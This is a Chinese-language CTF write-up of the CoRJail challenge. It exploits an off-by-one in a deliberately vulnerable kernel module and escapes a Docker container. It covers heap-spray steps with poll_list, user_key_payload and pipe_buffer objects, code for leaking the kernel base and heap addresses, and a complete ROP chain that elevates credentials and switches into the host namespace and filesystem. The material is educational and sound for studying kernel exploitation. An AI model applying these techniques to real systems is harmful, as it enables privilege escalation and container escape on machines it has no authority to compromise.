保护机制:SMAP, SMEP, KPTI, KASLR 及常用的保护机制,禁用了 msgget()
/ msgsnd()
/ msgrcv()
。
源码文件下载:https://github.com/bsauce/CTF
漏洞分析:kmalloc-4096 中的 off-by-one 漏洞,溢出写入一个NULL字节。
利用总结:利用 poll_list
对象来构造任意释放,取代 msg_msg
。
需要用到子线程进行堆喷时(特别是喷射 poll_list
对象时会有阻塞,必须用子线程),调用 pthread_setaffinity_np()
将线程绑定到 core 0
,进行无关操作(例如创建子线程的操作)则绑定到其他 core。
- (1)泄露内核基址:通过溢出篡改
poll_list->next
构造任意释放,释放user_key_payload
对象后,泄露重叠的seq_operations->show
指针。- (1-1)喷射2048个
seq_operations
对象(位于kmalloc-32
)。注意,需打开"/proc/self/stat"
文件2048次,但进程默认可打开的文件数为1024,需修改这个限制(可以参考 CVE-2022-2588 的exp,调用setrlimit(RLIMIT_NOFILE, &rlim)
来设置最大打开文件描述符)。 - (1-2)喷射72个
user_key_payload
对象(位于kmalloc-32
)。注意,需先调用setxattr()
初始化内存,user_key_payload
前8字节必须为NULL,避免poll_list->next
无限制释放下去。 - (1-3)喷射14个
poll_list
对象(位于kmalloc-4096 + kmalloc-32
)。注意,必须在子线程中调用poll()
,因为有阻塞,时间设置为3s,3s后自动释放poll_list
对象。 - (1-4)再喷射
199-72
个user_key_payload
对象(位于kmalloc-32
),增大成功几率; - (1-5)触发 off-by-one 漏洞,分配一个
kmalloc-4096
并溢出将相邻的poll_list->next
最低字节覆写为0,使得poll_list->next
指向某个user_key_payload
(记为corrupted_key
); - (1-6)等待14个
poll_list
对象释放,实际可能会将某个user_key_payload
对象释放; - (1-7)再喷射128个
seq_operations
对象,可能会占据被释放的user_key_payload
,seq_operations->show
和user_key_payload->data
恰好重叠。注意,seq_operations->next
指针也恰好将user_key_payload->datalen
这两个字节覆写的很大,可以溢出读。 - (1-8)读取所有
user_key_payload
即可泄露内核基址。(通过判断第1个8字节是否为内核基址,可得知是否成功泄露)。
- (1-1)喷射2048个
- (2)泄露kmalloc-1024堆地址:利用
seq_operations->next
将user_key_payload->datalen
两个字节改大,溢出读取tty_file_private->tty
(某个位于kmalloc-1024
的tty_struct
对象的堆地址)。- (2-1)释放除
corrupted_key
以外所有的user_key_payload
; - (2-2)喷射72个
tty_file_private
对象(位于kmalloc-32
),使之和user_key_payload
对象相邻; - (2-3)通过
corrupted_key
溢出读来泄露tty_file_private->tty
(某个位于kmalloc-1024
的tty_struct
对象的堆地址,记为target_object
);
- (2-1)释放除
- (3)劫持控制流并提权:通过
setxattr()
堆喷伪造poll_list->next
构造任意释放,释放kmalloc-1024,然后伪造pipe_buffer
劫持控制流。- (3-1)释放128个
seq_operations
对象,注意其中一个和corrupted_key
重叠; - (3-2)喷射192个
poll_list
对象(位于kmalloc-32
),占据corrupted_key
; - (3-3)释放
corrupted_key
; - (3-4)利用
setxattr()
堆喷199次,来伪造poll_list->next = target_object-0x18
。注意喷射完后立马用user_key_payload
占用,避免其他内核对象把这8字节又污染了;target_object
也即tty_struct
前8字节不为NULL,而target_object-0x18
的前8字节为0,所以这样伪造一个非对齐的地址; - (3-5)释放72个
tty_file_private
对象,顺带释放了tty_struct
(因为tty_struct
检查太多了,不如pipe_buffer
对象方便)。 - (3-6)喷射1024个
pipe_buffer
对象(位于kmalloc-1024
),占据target_object
也即某个tty_struct
对象; - (3-7)等待192个
poll_list
对象释放,实际可能会将target_object-0x18
堆块释放; - (3-8)喷射31个
user_key_payload
(位于kmalloc-1024
)来伪造pipe_buffer
对象; - (3-9)释放1024个
pipe_buffer
对象,触发劫持控制流并提权。
- (3-1)释放128个
1. 环境介绍
CoRJail介绍:内核利用+docker逃逸,漏洞是 off-by-one,docker容器含有定制的seccomp过滤。本方法是利用 poll_list
对象来构造任意释放。
环境限制:CoRJail 运行在 custom Debian Bullseye image (简称CoROS)上的 docker 容器中,作者修改了 default Docker seccomp profile 来阻止 msgget() / msgsnd() / msgrcv() 调用,但是允许调用 add_key() / keyctl(),容器中可以访问 Kernel Key Retention Service,作者定制的 seccomp 文件位于 here。 需自行编译 coros.qcow2 image
。
内核版本: 5.10.127,打补丁后就能获取 per-CPU syscall信息(因为漏洞模块需要获取每个CPU执行syscall的信息),还加了最新的补丁 modified version (procfs - add syscall statistics),此外作者没有编译 io_uring / nftables 以减少攻击面。
保护机制:KASLR
, SMEP
, SMAP
, KPTI
, CONFIG_SLAB_FREELIST_RANDOM
, CONFIG_SLAB_FREELIST_HARDENED
, CONFIG_STATIC_USERMODEHELPER
应有尽有,CONFIG_STATIC_USERMODEHELPER_PATH
设置为空字符串,避免 modprobe_path trick 攻击,未设置 CONFIG_DEBUG_FS
/ CONFIG_KALLSYMS_ALL
,这样 /proc/kallsyms
中很多符号就看不见了。
CoRMon 漏洞模块通过 procfs 访问,可以展示 per-CPU syscall count,只展示 filter 中指定的syscall,用户可以通过 echo -n 'syscall_1,syscall_2,...' > /proc/cormon
来设置新的 filter。例如,为了得到 read() / write()
的 per-CPU usage count,可以使用 echo -n 'sys_read,sys_write' > /proc/cormon
命令。
$ echo -n 'sys_read,sys_write' > /proc/cormon
$ cat /proc/cormon
默认的 filter 其实是一个提示,列出了作者exp中用到的 syscall:
2. 漏洞分析
源码分析:CoRMon 源码参见 cormon.c
。我们可以通过 procfs 调用 read() / write()
和漏洞模块进行交互。调用 write()
时,对应的 cormon_proc_write()
负责将现有的filter替换为用户定义的filter;调用 read()
时,对应的 cormon_seq_show()
负责输出 filter 中 syscall 的信息。
漏洞:很显然,cormon_proc_write()
中存在一个 off-by-one 漏洞:当写入字节恰好为4096时,len
被设置为 4096,在 [4]
处导致 off-by-one 漏洞。
static ssize_t cormon_proc_write(struct file *file, const char __user *ubuf, size_t count, loff_t *ppos)
{
[...]
len = count > PAGE_SIZE ? PAGE_SIZE - 1 : count; // [1] 当写入字节大于4096时,`len` 被设置为 `PAGE_SIZE-1`,否则被设置为 count
syscalls = kmalloc(PAGE_SIZE, GFP_ATOMIC); // [2] 分配 kmalloc-4k
printk(KERN_INFO "[CoRMon::Debug] Syscalls @ %#llx\n", (uint64_t)syscalls);
if (!syscalls)
{
printk(KERN_ERR "[CoRMon::Error] kmalloc() call failed!\n");
return -ENOMEM;
}
if (copy_from_user(syscalls, ubuf, len)) // [3] 拷贝用户数据
{
printk(KERN_ERR "[CoRMon::Error] copy_from_user() call failed!\n");
return -EFAULT;
}
syscalls[len] = '\x00'; // [4] off-by-one 漏洞
[...]
}
3. poll_list
对象
限制调用:容器环境使得利用条件十分有限,seccomp 阻止了 unshare / msgget(), msgsnd() and msgrcv() 等调用。只能找新的对象来替代 msg_msg
,那就是 poll_list
对象,可以构造任意释放。
3-1. poll_list
分配
poll
调用:poll_list 对象是在调用 poll() 时分配,该调用可以监视1个或多个文件描述符的活动。
// 参数说明: fds - pollfd 结构数组; nfds - fds 数组中 pollfd 结构的数量; timeout - event 发生的时间 (milliseconds)
int poll(struct pollfd fds[], nfds_t nfds, int timeout);
struct pollfd {
int fd;
short events;
short revents;
};
struct poll_list { // poll_list 是头部, 从 poll_list->entries 开始存放用户传入的 pollfd
struct poll_list *next;
int len; // entries 中 pollfd 结构的数量
struct pollfd entries[]; // pollfd 结构数组, 每个 entry 占8字节
};
调用顺序:SYSCALL-poll -> do_sys_poll()
代码分析:用户调用 poll()
时,内核会调用 do_sys_poll(),将用户传递的 fds 数组(entries)拷贝到内核。do_sys_poll() 有两条路径,一快一慢。先将前30个 pollfd 放在栈上 - [2]
,再将多出来的 pollfd 放在堆上 - [4]
。总结来说,poll_list
对象可以分配到 kmalloc-32 到 kmalloc-4k,可以控制该对象在内核中占据的时间,时间到了后自动释放。
#define POLL_STACK_ALLOC 256
#define PAGE_SIZE 4096
#define POLLFD_PER_PAGE ((PAGE_SIZE-sizeof(struct poll_list)) / sizeof(struct pollfd)) //(4096-16)/8 = 510(堆上存放pollfd最大数量)
#define N_STACK_PPS ((sizeof(stack_pps) - sizeof(struct poll_list)) / \ //(256-16)/8 = 30 (栈上存放pollfd最大数量)
sizeof(struct pollfd))
[...]
static int do_sys_poll(struct pollfd __user *ufds, unsigned int nfds,
struct timespec64 *end_time)
{
struct poll_wqueues table;
int err = -EFAULT, fdcount, len;
/* Allocate small arguments on the stack to save memory and be
faster - use long to make sure the buffer is aligned properly
on 64 bit archs to avoid unaligned access */
long stack_pps[POLL_STACK_ALLOC/sizeof(long)]; // [1] stack_pps 256 字节的栈缓冲区, 负责存储前 30 个 pollfd entry
struct poll_list *const head = (struct poll_list *)stack_pps;
struct poll_list *walk = head;
unsigned long todo = nfds;
if (nfds > rlimit(RLIMIT_NOFILE))
return -EINVAL;
len = min_t(unsigned int, nfds, N_STACK_PPS); // [2] 前30个 pollfd entry 先存放在栈上,节省内存和时间
for (;;) {
walk->next = NULL;
walk->len = len;
if (!len)
break;
if (copy_from_user(walk->entries, ufds + nfds-todo,
sizeof(struct pollfd) * walk->len))
goto out_fds;
todo -= walk->len;
if (!todo)
break;
len = min(todo, POLLFD_PER_PAGE); // [3] 如果提交超过30个 pollfd entries,就会把多出来的 pollfd 放在内核堆上。每个page 最多存 POLLFD_PER_PAGE (510) 个entry, 超过这个数,则分配新的 poll_list, 依次循环直到存下所有传入的 entry
walk = walk->next = kmalloc(struct_size(walk, entries, len),
GFP_KERNEL); // [4] 只要控制好被监控的文件描述符数量,就能控制分配size,从 kmalloc-32 到 kmalloc-4k
if (!walk) {
err = -ENOMEM;
goto out_fds;
}
}
poll_initwait(&table);
fdcount = do_poll(head, &table, end_time); // [5] 分配完 poll_list 对象后,调用 do_poll() 来监控这些文件描述符,直到发生特定 event 或者超时。这里 end_time 就是最初传给 poll() 的超时变量, 这表示 poll_list 对象可以在内存中保存任意时长,超时后自动释放。
poll_freewait(&table);
if (!user_write_access_begin(ufds, nfds * sizeof(*ufds))and)
goto out_fds;
for (walk = head; walk; walk = walk->next) {
struct pollfd *fds = walk->entries;
int j;
for (j = walk->len; j; fds++, ufds++, j--)
unsafe_put_user(fds->revents, &ufds->revents, Efault);
}
user_write_access_end();
err = fdcount;
out_fds:
walk = head->next;
while (walk) { // [6] 释放 poll_list: 遍历单链表, 释放每一个 poll_list, 这里可以利用
struct poll_list *pos = walk;
walk = walk->next;
kfree(pos);
}
return err;
Efault:
user_write_access_end();
err = -EFAULT;
goto out_fds;
}
poll_list
结构关系图:如果需要存放很多 pollfd
,则需要分配多个 poll_list
对象,多个 poll_list
对象之间的关系如下所示。注意,最后一个 poll_list
对象可以位于 kmalloc-32 到 kmalloc-4096。
3-2. poll_list
构造任意释放
示例:假设我们调用 poll()
传入 510+1
个文件描述符,内核就会分配1个 kmalloc-4k 和1个 kmalloc-32,以单链表形式存储。
任意释放:poll_list 以单链表存储,超时后释放时,会遍历单链表释放每一个 poll_list。如果通过 UAF/OOB 篡改 poll_list->next
就能构造任意释放。
问题:目标对象的前8字节必须为NULL,否则while循环会一直遍历并释放下去。这个条件很容易绕过,可以利用 misaligned 或者只释放前8字节为NULL的对象。
以下代码可以分配 poll_list
对象,注意需要利用子线程来喷射该对象,因为 poll()
调用会阻塞,直到触发特定event或者超时。
#define N_STACK_PPS 30
#define POLLFD_PER_PAGE 510
#define POLL_LIST_SIZE 16
#define NFDS(size) (((size - POLL_LIST_SIZE) / sizeof(struct pollfd)) + N_STACK_PPS);
pthread_t poll_tid[0x1000];
size_t poll_threads;
pthread_mutex_t mutex = PTHREAD_MUTEX_INITIALIZER;
struct t_args
{
int id;
int nfds;
int timeout;
};
void *alloc_poll_list(void *args)
{
struct pollfd *pfds;
int nfds, timeout, id;
id = ((struct t_args *)args)->id;
nfds = ((struct t_args *)args)->nfds;
timeout = ((struct t_args *)args)->timeout;
pfds = calloc(nfds, sizeof(struct pollfd)); // 构造 struct pollfd *pfds 用户参数
for (int i = 0; i < nfds; i++)
{
pfds[i].fd = fds[0];
pfds[i].events = POLLERR;
}
pthread_mutex_lock(&mutex);
poll_threads++;
pthread_mutex_unlock(&mutex);
//printf("[Thread %d] Start polling...\n", id);
int ret = poll(pfds, nfds, timeout);
//printf("[Thread %d] Polling complete: %d!\n", id, ret);
}
void create_poll_thread(int id, size_t size, int timeout)
{
struct t_args *args;
args = calloc(1, sizeof(struct t_args));
if (size > PAGE_SIZE)
size = size - ((size/PAGE_SIZE) * sizeof(struct poll_list)); // 需要减去 poll_list 头部所占的字节数
args->id = id;
args->nfds = NFDS(size); // 这里的size是纯pollfd的个数
args->timeout = timeout;
pthread_create(&poll_tid[id], 0, alloc_poll_list, (void *)args);
}
void join_poll_threads(void)
{
for (int i = 0; i < poll_threads; i++)
pthread_join(poll_tid[i], NULL);
poll_threads = 0;
}
[...]
fds[i] = open("/etc/passwd", O_RDONLY);
for (int i = 0; i < 8; i++)
create_poll_thread(i, 4096 + 32, 3000);
join_poll_threads();
[...]
4. 漏洞利用 - 泄露内核基址和堆地址
任意释放:首先,利用 kmalloc-4k 的 off-by-one 来篡改相邻的 poll_list->next
指向另一个 kmalloc-32
,超时后对象自动释放。
越界读:将任意释放转化为 OOB read 原语,所以需要选取一个弹性对象。simple_xattr不能用,因为其前8字节不为NULL;由于没有禁用 add_key() 和 keyctl(),所以可以采用 user_key_payload 。
前8字节清零:问题是,该对象的第1个成员 struct rcu_head rcu
没有被初始化,所以不一定为NULL,我们可以在分配 user key 之前采用 setxattr() 来将堆块清0。具体方法是,在调用 alloc_key()
之前先调用 setxattr()
,由于 freelist 的 LIFO 特性,setxattr()
分配的对象会被 user_key_payload 复用。
static long
setxattr(struct dentry *d, const char __user *name, const void __user *value,
size_t size, int flags)
{
[...]
if (size > XATTR_SIZE_MAX)
return -E2BIG;
kvalue = kvmalloc(size, GFP_KERNEL); // [1] 分配任意 size
if (!kvalue)
return -ENOMEM;
if (copy_from_user(kvalue, value, size)) { // [2] 填充任意数据
error = -EFAULT;
goto out;
}
[...]
out:
kvfree(kvalue); // [3] 自动释放
return error;
}
写exp如下。执行以下代码后,内存布局如下图所示,白色表示未分配的块,绿色表示 poll_list
,橘色表示 user_key_payload
。
[...]
assign_to_core(0); // [1] 首先绑定到 CPU0 执行 —— sched_setaffinity()
for (int i = 0; i < 2048; i++) // [2] 堆风水: 喷射 seq_operations 结构来填充 kmalloc-32
alloc_seq_ops(i);
for (int i = 0; i < 72; i++)
{
setxattr("/home/user/.bashrc", "user.x", data, 32, XATTR_CREATE);
keys[i] = alloc_key(n_keys++, key, 32); // [3] 调用 add_key() 向 kmalloc-32 喷射 user_key_payload, 注意在这之前调用 setxattr() 将堆块清0(前8字节必须为0)
}
for (int i = 0; i < 14; i++)
create_poll_thread(i, 4096 + 24, 3000, false); // [4] 喷射 poll_list kmalloc-4k+kmalloc-32
for (int i = 72; i < MAX_KEYS; i++)
{
setxattr("/home/user/.bashrc", "user.x", data, 32, XATTR_CREATE);
keys[i] = alloc_key(n_keys++, key, 32); // [5] 喷射更多的 user_key_payload, 填充slab
}
[...]
触发 off-by-one,篡改 poll_list->next
,触发任意释放。原理如下图所示
[...]
write(fd, data, PAGE_SIZE); // [1] 往 CoRMon procfs 接口写入 4096 字节, 篡改 poll_list->next, 使之指向某个 user_key_payload
join_poll_threads(); // [2] 等待超时并释放所有 poll_list, 这将会释放某个 user_key_payload
[...]
篡改user_key_payload->datalen
:现在需要篡改 user_key_payload
,构造 OOB read。直接喷射 seq_operations
对象,seq_operations->single_next
的低2字节 (0x4370,函数地址ffffffff812d4370 t single_next
) 可能会覆写之前释放的 user_key_payload->datalen
。非常巧妙!
[...]
for (int i = 2048; i < 2048 + 128; i++)
alloc_seq_ops(i); // [1] 喷射 seq_operations (kmalloc-32), 其中 seq_operations->single_next 的低2字节 (0x4330) 可能会覆写之前释放的 user_key_payload->len
if (leak_kernel_pointer() < 0) // [2] proc_single_show() 函数指针会覆写到 user_key_payload->data 处。遍历所有 user_key_payload 直到泄露 proc_single_show 地址 —— 内核基址
{
puts("[X] Kernel pointer leak failed, try again...");
exit(1);
}
free_all_keys(true); // [3] 释放所有 kmalloc-32, 图3A 中橘黄色的块, 除了被覆写的 user_key_payload
for (int i = 0; i < 72; i++)
alloc_tty(i); // [4] 打开很多 ptmx, 就会用 tty_file_private 替换刚才释放的 kmalloc-32, 见图3B中蓝色的块
if (leak_heap_pointer(corrupted_key) < 0) // [5] 利用 OOB read 泄露 tty_struct 地址
{
puts("[X] Heap pointer leak failed, try again...");
exit(1);
}
[...]
内核基址:user_key_payload
被任意释放后,堆喷seq_operations
对象来覆写 user_key_payload
,其中seq_operations->show
也即proc_single_show() 函数指针,恰好覆盖了 user_key_payload->data
前8字节。如下图3A所示,黄色表示 seq_operations
结构,其中一个 seq_operations
覆写了 user_key_payload
,直接读取即可泄露内核基址。
堆地址:打开 ptmx 时,会分配 kmalloc-1024 tty_struct 和 kmalloc-32 tty_file_private,其中 tty_file_private->tty
指向其对应的 tty_struct
结构地址,所以我们利用 user_key_payload
的越界读,就能泄露某个 kmalloc-1024。
5. 漏洞利用 - 劫持控制流
目标:现在我们利用 off-by-one 泄露了内核基址和 kmalloc-1024 地址,现在我们需要释放这个 kmalloc-1024 堆块。
方法:再次构造 kmalloc-32 的UAF,利用 setxattr()
堆喷篡改某个 kmalloc-32 中的 poll_list->next
指向这个 kmalloc-1024 堆块的地址(提前堆喷 pipe_buffer
对象来占据这个kmalloc-1024 堆块),构造任意释放,释放该 kmalloc-1024 块。然后堆喷 user_key_payload
对象来伪造 pipe_buffer
来劫持控制流并提权。
[...]
for (int i = 2048; i < 2048 + 128; i++)
free_seq_ops(i); // [1] 释放所有 kmalloc-32 seq_operations (图3A/3B中黄色的块)
for (int i = 0; i < 192; i++)
create_poll_thread(i, 24, 3000, true); // [2] 用 poll_list 替换刚才释放的 seq_operations (图4A中绿色块), 目前为止,刚才覆写 user_key_payload 的 seq_operations 也被 poll_list 替换
free_key(corrupted_key); // [3] 释放所有 user_key_payload, 包括被 seq_operations 覆写的块, 本质上是释放了某个 poll_list, 构造了UAF
sleep(1); // GC key
*(uint64_t *)&data[0] = target_object - 0x18;// [4] 伪造 poll_list->next = target object-0x18
for (int i = 0; i < MAX_KEYS; i++)
{
setxattr("/home/user/.bashrc", "user.x", data, 32, XATTR_CREATE);
keys[i] = alloc_key(n_keys++, key, 32); // [5] 先通过 setxattr() 堆喷伪造 poll_list->next, 然后再分配 user_key_payload 占据 setxattr() 的缓冲区,避免被其他对象占用后又把前8字节改掉了
}
[...]
劫持控制流:之前作者想通过释放 tty_struct
并篡改 tty_operations 来劫持RIP,但是检查太多了,所以转向 pipe_buffer 对象。
[...]
for (int i = 0; i < 72; i++)
free_tty(i); // [1] 继续释放 tty_struct
sleep(1); // GC TTYs
for (int i = 0; i < 1024; i++)
alloc_pipe_buff(i); // [2] 喷射 pipe_buffer, 替换 tty_struct。等待超时, 通过某个伪造的 poll_list->next 释放某个 pipe_buffer
[...]
free_all_keys(false); // 释放所有 user_key_payload
for (int i = 0; i < 31; i++)
keys[i] = alloc_key(n_keys++, buff, 600); // [3] 用 kmalloc-1024 user_key_payload 堆喷篡改某个被释放的 pipe_buffer, 布置ROP chain, 篡改 anon_pipe_buf_ops 指针指向 stack pivot gadget
for (int i = 0; i < 1024; i++)
release_pipe_buff(i); // [4] 关闭 pipe, 触发 pipe_release(), 劫持控制流
[...]
6. 漏洞利用 - Docker 逃逸
逃逸的ROP链如下所示,[1]-[5]
和 CVE-2021-22555 类似,但是本例中不足以提权。和google KCTF环境不一样,本例中 Docker 禁用了 setns(),这意味着我们返回用户空间后不能用它进入另一个namespace。查看 setns() 源码,实际调用了 commit_nsset() 将task转移到另一个 namespace;所以我们调用 copy_fs_struct() 来克隆 init_fs 结构 - [6]
,再调用 find_task_by_vpid()
定位当前 task - [7]
,再利用任意写gadget 安装新的 fs_struct - [8]
,最后调用 swapgs_restore_regs_and_return_to_usermode
返回shell。
buff = (char *)calloc(1, 1024);
// Stack pivot [1]
*(uint64_t *)&buff[0x10] = target_object + 0x30; // anon_pipe_buf_ops
*(uint64_t *)&buff[0x38] = kernel_base + 0xffffffff81882840; // push rsi ; in eax, dx ; jmp qword ptr [rsi + 0x66]
*(uint64_t *)&buff[0x66] = kernel_base + 0xffffffff810007a9; // pop rsp ; ret
*(uint64_t *)&buff[0x00] = kernel_base + 0xffffffff813c6b78; // add rsp, 0x78 ; ret
// ROP
rop = (uint64_t *)&buff[0x80];
// creds = prepare_kernel_cred(0) [2]
*rop ++= kernel_base + 0xffffffff81001618; // pop rdi ; ret
*rop ++= 0; // 0
*rop ++= kernel_base + 0xffffffff810ebc90; // prepare_kernel_cred
// commit_creds(creds) [3]
*rop ++= kernel_base + 0xffffffff8101f5fc; // pop rcx ; ret
*rop ++= 0; // 0
*rop ++= kernel_base + 0xffffffff81a05e4b; // mov rdi, rax ; rep movsq qword ptr [rdi], qword ptr [rsi] ; ret
*rop ++= kernel_base + 0xffffffff810eba40; // commit_creds
// task = find_task_by_vpid(1) [4]
*rop ++= kernel_base + 0xffffffff81001618; // pop rdi ; ret
*rop ++= 1; // pid
*rop ++= kernel_base + 0xffffffff810e4fc0; // find_task_by_vpid
// switch_task_namespaces(task, init_nsproxy) [5]
*rop ++= kernel_base + 0xffffffff8101f5fc; // pop rcx ; ret
*rop ++= 0; // 0
*rop ++= kernel_base + 0xffffffff81a05e4b; // mov rdi, rax ; rep movsq qword ptr [rdi], qword ptr [rsi] ; ret
*rop ++= kernel_base + 0xffffffff8100051c; // pop rsi ; ret
*rop ++= kernel_base + 0xffffffff8245a720; // init_nsproxy;
*rop ++= kernel_base + 0xffffffff810ea4e0; // switch_task_namespaces
// new_fs = copy_fs_struct(init_fs) [6]
*rop ++= kernel_base + 0xffffffff81001618; // pop rdi ; ret
*rop ++= kernel_base + 0xffffffff82589740; // init_fs;
*rop ++= kernel_base + 0xffffffff812e7350; // copy_fs_struct;
*rop ++= kernel_base + 0xffffffff810e6cb7; // push rax ; pop rbx ; ret
// current = find_task_by_vpid(getpid()) [7]
*rop ++= kernel_base + 0xffffffff81001618; // pop rdi ; ret
*rop ++= getpid(); // pid
*rop ++= kernel_base + 0xffffffff810e4fc0; // find_task_by_vpid
// current->fs = new_fs [8]
*rop ++= kernel_base + 0xffffffff8101f5fc; // pop rcx ; ret
*rop ++= 0x6e0; // current->fs
*rop ++= kernel_base + 0xffffffff8102396f; // add rax, rcx ; ret
*rop ++= kernel_base + 0xffffffff817e1d6d; // mov qword ptr [rax], rbx ; pop rbx ; ret
*rop ++= 0; // rbx
// kpti trampoline [9]
*rop ++= kernel_base + 0xffffffff81c00ef0 + 22; // swapgs_restore_regs_and_return_to_usermode + 22
*rop ++= 0;
*rop ++= 0;
*rop ++= (uint64_t)&win;
*rop ++= usr_cs;
*rop ++= usr_rflags;
*rop ++= (uint64_t)(stack + 0x5000);
*rop ++= usr_ss;
注意:在创建 poll 线程之前先调用 assign_to_core()
将进程绑定到另一个核,这样是为了避免在 core 0 上创建线程带来的 slab 分配噪声。线程创建完成后,要在执行 poll()
之前调用 assign_thread_to_core()
将进程再次绑定为 core 0。
其他利用方法:比赛中只有一组做出来,Kylebot 用到了 Extended security attributes (在容器中不需要特殊权限),他将 kmalloc-4k off-by-one 转化成 Cross-Cache Null Byte Overflow,篡改 kmalloc-192 中的simple_xattr结构,也即 simple_xattr->list.next
指针。由于cache是非对齐的,所以篡改 simple_xattr->list.next
指向另一个 simple_xattr
的中间,这里伪造了一个 fake header 以构造 OOB read,泄露信息。 最后,他利用 unlinking attack with simple_xattr 技术来篡改 file 结构的 file_operations 指针,指向可控的堆地址,劫持控制流并提权。
7. 补充
测试成功截图:
编译exp:由于用到了一些keyutils封装函数,所以需安装 keyutils。
# https://blog.csdn.net/ituling/article/details/82888643
$ sudo apt-get install libkeyutils-dev keyutils
# 编译exp时加上 -lkeyutils 选项
$ gcc -pthread -static -w -masm=intel ./exploit.c -o exploit -lkeyutils
# 以下方法不行
$ tar -jxvf xx.tar.bz2
$ sed -i 's:$(LIBDIR)/$(PKGCONFIG_DIR):/usr/lib/pkgconfig:' Makefile && make
$ make -k test # test the results - root user
$ make NO_ARLIB=1 LIBDIR=/usr/lib BINDIR=/usr/bin SBINDIR=/usr/sbin install # root user
最大文件打开数:由于堆喷 seq_operations
对象需要打开/proc/self/stat
文件,默认最大打开文件数目为 1024,需要改大。reference。问题是如果默认是1024,岂不是不能在默认环境下提权?可以参考 CVE-2022-2588 的exp,调用 setrlimit(RLIMIT_NOFILE, &rlim)
来设置最大打开文件描述符,突破该限制。
$ ulimit -n # 查看最大打开文件数
$ ulimit -a 65535 # 对当前进程生效
$ echo "* soft nofile 65535" >>/etc/security/limits.conf
$ echo "* hard nofile 65535" >>/etc/security/limits.conf
注意,运行exp之前需加载漏洞模块 —— $ insmod /home/hi/cormon.ko
。
常用命令:
# ssh连接与测试
$ ssh -p 10021 hi@localhost # password: lol
$ ./exploit
# scp 传文件
$ scp -P 10021 ./exploit hi@localhost:/home/hi # 传文件
$ scp -P 10021 hi@localhost:/home/hi/trace.txt ./ # 下载文件
$ scp -P 10021 ./exploit.c ./get_root.c ./exploit ./get_root hi@localhost:/home/hi
参考
corjail —— 题目环境
corjail_exploit.c —— exp
cache-of-castaways —— 题目环境
https://ctftime.org/writeup/34888